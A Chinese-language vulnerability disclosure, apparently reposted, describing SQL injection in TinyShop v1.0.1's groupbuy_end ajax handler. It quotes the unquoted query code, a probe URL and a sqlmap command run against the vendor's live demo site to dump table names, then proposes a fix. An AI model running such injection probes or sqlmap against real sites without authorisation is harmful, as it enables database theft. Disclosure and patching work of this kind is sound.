TinyShop v1.0.1 SQL注射可致数据库信息泄露

来源：自学PHP网时间：2015-04-16 23:15 作者：阅读:次

[导读] TinyShop v1 0 1 SQL注入 protected controllers ajax php 团购结束更新public function groupbuy_end(){$id = Req::args( id ); 取得idif($id){$item = $this-mo...

TinyShop v1.0.1 SQL注射可致数据库信息泄露（官网演示+源码分析）

无视gpc

详细说明：

/protected/controllers/ajax.php

//团购结束更新

public function groupbuy_end(){

$id = Req::args('id');

//取得id

if($id){

$item = $this->model->table("groupbuy")->where("id=$id")->find();

//无视GPC，直接带入查询

$end_diff = time()-strtotime($item['end_time']);

if($end_diff>0){

$this->model->table("groupbuy")->where("id=$id")->data(array('is_end'=>1))->update();

}

$id无单引号保护，因此无视GPC

何况官网没开GPC（框架里自动stripslashes先，开了也没用）

http://shop.tinyrise.com/ajax/groupbuy_end?id=4%27

没有引号保护

SQLMAP

C:\Users\Administrator>sqlmap.py -u "http://shop.tinyrise.com/ajax/groupbuy_end?id=4" -p id --tables --delay=12

都已经delay 12了丢包还是惊人，不过还是跑出数据库名了

修复方案：

单引号保护+addslashes

更多文章推荐